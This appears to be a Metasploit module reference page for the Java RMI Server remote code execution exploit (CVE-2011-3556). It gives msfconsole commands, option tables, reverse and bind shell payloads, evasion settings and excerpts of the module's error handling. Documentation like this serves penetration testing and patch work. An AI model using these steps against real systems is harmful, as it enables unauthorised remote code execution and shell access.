Java RMI Server Insecure Default Configuration Java Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/java_rmi_server metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Source code: modules/exploits/multi/misc/java_rmi_server.rb
Disclosure date: 2011-10-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, OSX, Solaris, Windows
Target service / protocol: java-rmi, rmi, rmid, rmiregistry
Target network port(s): 999, 1030, 1035, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1199, 1234, 1440, 2199, 2809, 3273, 3333, 3900, 5520, 5521, 5580, 5999, 6060, 6789, 6996, 7700, 7800, 7801, 7878, 7890, 8050, 8051, 8085, 8091, 8205, 8303, 8642, 8686, 8701, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005, 9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999, 10001, 10098, 10099, 10162, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000, 17200, 18980, 20000, 23791, 26256, 31099, 32913, 33000, 37718, 45230, 47001, 47002, 50050, 50500, 50501, 50502, 50503, 50504
List of CVEs: CVE-2011-3556
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
CheckModule: Module to check with
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/java_rmi_server exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show info
Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-15
Provided by:
mihi
Available targets:
Id Name
-- ----
0 Generic (Java Payload)
1 Windows x86 (Native Payload)
2 Linux x86 (Native Payload)
3 Mac OS X PPC (Native Payload)
4 Mac OS X x86 (Native Payload)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 0 characters
Description:
This module takes advantage of the default configuration of the RMI
Registry and RMI Activation services, which allow loading classes
from any remote (HTTP) URL. As it invokes a method in the RMI
Distributed Garbage Collector which is available via every RMI
endpoint, it can be used against both rmiregistry and rmid, and
against most other (custom) RMI endpoints as well. Note that it does
not work against Java Management Extension (JMX) ports since those
do not support remote class loading, unless another RMI endpoint is
active in the same Java process. RMI method calls do not support or
require any sort of authentication.
References:
http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
http://www.securitytracker.com/id?1026215
https://nvd.nist.gov/vuln/detail/CVE-2011-3556
Module Options
This is a complete list of options available in the multi/misc/java_rmi_server exploit:
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/java_rmi_server exploit:
msf6 exploit(multi/misc/java_rmi_server) > show advanced
Module advanced options (exploit/multi/misc/java_rmi_server):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
CheckModule auxiliary/scanner/misc/java_rmi_server yes Module to check with
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RmiReadLoopTimeout 1 yes Maximum number of seconds to wait for data between read iterations
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/java_rmi_server module can exploit:
msf6 exploit(multi/misc/java_rmi_server) > show targets
Exploit targets:
Id Name
-- ----
0 Generic (Java Payload)
1 Windows x86 (Native Payload)
2 Linux x86 (Native Payload)
3 Mac OS X PPC (Native Payload)
4 Mac OS X x86 (Native Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/java_rmi_server exploit:
msf6 exploit(multi/misc/java_rmi_server) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/java_rmi_server exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/java_rmi_server) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
Here is a relevant code snippet related to the "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" error message:
91: begin
92: Timeout.timeout(datastore['HTTPDELAY']) { super }
93: rescue Timeout::Error
94: # When the server stops due to our timeout, re-raise
95: # RuntimeError so it won't wait the full wfs_delay
96: raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
97: rescue Msf::Exploit::Failed
98: # When the server stops due primer failing, re-raise
99: # RuntimeError so it won't wait the full wfs_delays
100: raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
101: rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
Exploit aborted due to failure <FAIL_REASON> <VALUE>
Here is a relevant code snippet related to the "Exploit aborted due to failure <FAIL_REASON> <VALUE>" error message:
95: # RuntimeError so it won't wait the full wfs_delay
96: raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
97: rescue Msf::Exploit::Failed
98: # When the server stops due primer failing, re-raise
99: # RuntimeError so it won't wait the full wfs_delays
100: raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
101: rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
102: # When the primer fails due to an error connecting with
103: # the rhost, re-raise RuntimeError so it won't wait the
104: # full wfs_delays
105: raise ::RuntimeError, e.message
<PEER> - Failed to negotiate RMI protocol
Here is a relevant code snippet related to the "<PEER> - Failed to negotiate RMI protocol" error message:
111:
112: print_status("Sending RMI Header...")
113: send_header
114: ack = recv_protocol_ack
115: if ack.nil?
116: fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
117: end
118:
119: jar = rand_text_alpha(rand(8)+1) + '.jar'
120: new_url = get_uri + '/' + jar
121:
RMI Call failed
Here is a relevant code snippet related to the "RMI Call failed" error message:
149: )
150:
151: return_value = recv_return
152:
153: if return_value.nil? && !session_created?
154: fail_with(Failure::Unknown, 'RMI Call failed')
155: end
156:
157: if return_value && return_value.is_exception? && loader_disabled?(return_value)
158: fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
159: end
The RMI class loader is disabled
Here is a relevant code snippet related to the "The RMI class loader is disabled" error message:
153: if return_value.nil? && !session_created?
154: fail_with(Failure::Unknown, 'RMI Call failed')
155: end
156:
157: if return_value && return_value.is_exception? && loader_disabled?(return_value)
158: fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
159: end
160:
161: if return_value && return_value.is_exception? && class_not_found?(return_value)
162: fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
163: end
The RMI class loader couldn't find the payload
Here is a relevant code snippet related to the "The RMI class loader couldn't find the payload" error message:
157: if return_value && return_value.is_exception? && loader_disabled?(return_value)
158: fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
159: end
160:
161: if return_value && return_value.is_exception? && class_not_found?(return_value)
162: fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
163: end
164:
165: disconnect
166: end
167:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14040 Merged Pull Request: Use CheckModule auxiliary/scanner/misc/java_rmi_server in exploit/multi/misc/java_rmi_server
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8502 Merged Pull Request: update java_rmi_server modules with CVE
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6449 Merged Pull Request: Fix #6445, Unexpected HttpServer terminations due to registering the same resource more than once
- #6072 Merged Pull Request: Fix #6050 - Java RMI scanner stack traces against Metasploitable2
- #5303 Merged Pull Request: Replace embedded java/android binaries with ones from metasploit-payloads
- #5020 Merged Pull Request: Fixed common mispellings, Filed vs Failed, Explot vs Exploit
- #4560 Merged Pull Request: Add support for RMI to Rex / Rewrite java_rmi_server modules / Add JMX mixin / Exploit for JMXRMI endpoints
References
- http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
- http://www.securitytracker.com/id?1026215
- CVE-2011-3556
See Also
Check also the following modules related to this module:
- auxiliary/scanner/misc/java_rmi_server
- exploit/multi/misc/java_jdwp_debugger
- exploit/multi/misc/java_jmx_server
- exploit/multi/browser/java_atomicreferencearray
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/browser/java_getsoundbank_bof
- exploit/multi/browser/java_jre17_driver_manager
- exploit/multi/browser/java_jre17_exec
- exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
- exploit/multi/browser/java_jre17_jaxws
- exploit/multi/browser/java_jre17_jmxbean
- exploit/multi/browser/java_jre17_jmxbean_2
- exploit/multi/browser/java_jre17_method_handle
- exploit/multi/browser/java_jre17_provider_skeleton
- exploit/multi/browser/java_jre17_reflection_types
- exploit/multi/browser/java_rhino
- exploit/multi/browser/java_rmi_connection_impl
- exploit/multi/browser/java_setdifficm_bof
- exploit/multi/browser/java_signed_applet
- exploit/multi/browser/java_storeimagearray
- exploit/multi/browser/java_trusted_chain
- exploit/multi/browser/java_verifier_field_access
- auxiliary/admin/zend/java_bridge
- auxiliary/gather/java_rmi_registry
- auxiliary/scanner/misc/java_jmx_server
- exploit/windows/browser/java_basicservice_impl
- exploit/windows/browser/java_cmm
- exploit/windows/browser/java_codebase_trust
- exploit/windows/browser/java_docbase_bof
- exploit/windows/browser/java_mixer_sequencer
- exploit/windows/browser/java_ws_arginject_altjvm
- exploit/windows/browser/java_ws_double_quote
- exploit/windows/browser/java_ws_vmargs
- exploit/multi/misc/batik_svg_java
- exploit/multi/misc/zend_java_bridge
Related Nessus plugins:
- RHEL 5 / 6 : java-1.6.0-openjdk (RHSA-2011:1380) (BEAST)
- CentOS 5 : java-1.6.0-openjdk (CESA-2011:1380) (BEAST)
- RHEL 4 / 5 / 6 : java-1.6.0-sun (RHSA-2011:1384) (BEAST)
- Oracle Java SE Multiple Vulnerabilities (October 2011 CPU) (BEAST)
- Fedora 16 : java-1.6.0-openjdk-1.6.0.0-60.1.10.4.fc16 (2011-15020) (BEAST)
- GLSA-201111-02 : Oracle JRE/JDK: Multiple vulnerabilities (BEAST)
- Mac OS X : Java for Mac OS X 10.6 Update 6 (BEAST)
- Mac OS X : Java for Mac OS X 10.7 Update 1 (BEAST)
- Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2011:170)
- Ubuntu 10.04 LTS / 10.10 / 11.04 / 11.10 : icedtea-web, openjdk-6, openjdk-6b18 vulnerabilities (USN-1263-1) (BEAST)
Authors
- mihi
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
